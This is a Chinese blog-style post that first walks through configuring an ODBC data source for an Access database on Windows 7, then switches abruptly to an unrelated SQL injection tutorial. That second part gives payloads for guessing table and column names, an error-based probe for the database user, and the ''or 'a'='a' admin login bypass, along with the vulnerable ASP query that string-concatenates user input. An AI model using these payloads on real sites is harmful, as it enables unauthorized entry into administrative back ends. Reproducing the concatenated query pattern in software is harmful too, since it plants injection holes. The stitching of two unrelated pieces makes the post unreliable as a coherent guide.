以access数据库为例,Window7 系统,配置数据源, *** 作步骤如下:
1、打开电脑,点击开始菜单。
2、打开<控制面板>。
3、在<调整计算机的设置>中,点击<系统和安全>。
4、点击<管理工具>。
5、点击<数据源(ODBC)>。
6、点击<系统用户>,然后,点击按钮<添加>。
7、在<创建数据源>里,找到Microsoft Access Driver(*.mdb),选中.然后点击完成。
8、在<ODBC Microsoft Access 安装>的<数据源名(N)>,填写数据有名称,然后点击<数据库>中的<选择(S)...>。
9、在<选择数据库>里,<目录(D):>里,按路径找到数据库文件,选中,点击确定。回到<ODBC Microsoft Access 安装>点击确定。最后回到<ODBC数据源管理器>,点击确定,完成配置。
SQL注入方法方法1
先猜表名
And (Select count(*) from 表名)<>0
猜列名
And (Select count(列名) from 表名)<>0
或者也可以这样
and exists (select * from 表名)
and exists (select 列名 from 表名)
返回正确的,那么写的表名或列名就是正确
这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)>3 这样是不行的
很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容
获得数据库连接用户名:;and user>0
方法2
后台身份验证绕过漏洞
验证绕过漏洞就是'or'='or'后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误
例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是
user=request("user")
passwd=request("passwd")
sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
那么我使用'or 'a'='a来做用户名密码的话,那么查询就变成了
select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是 假or真and假or真,先算and 再算or,最终结果为真,这样就可以进到后台了
这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似
sql="select * from admin where username='"&username&'&"passwd='"&passwd&'
如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。
第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)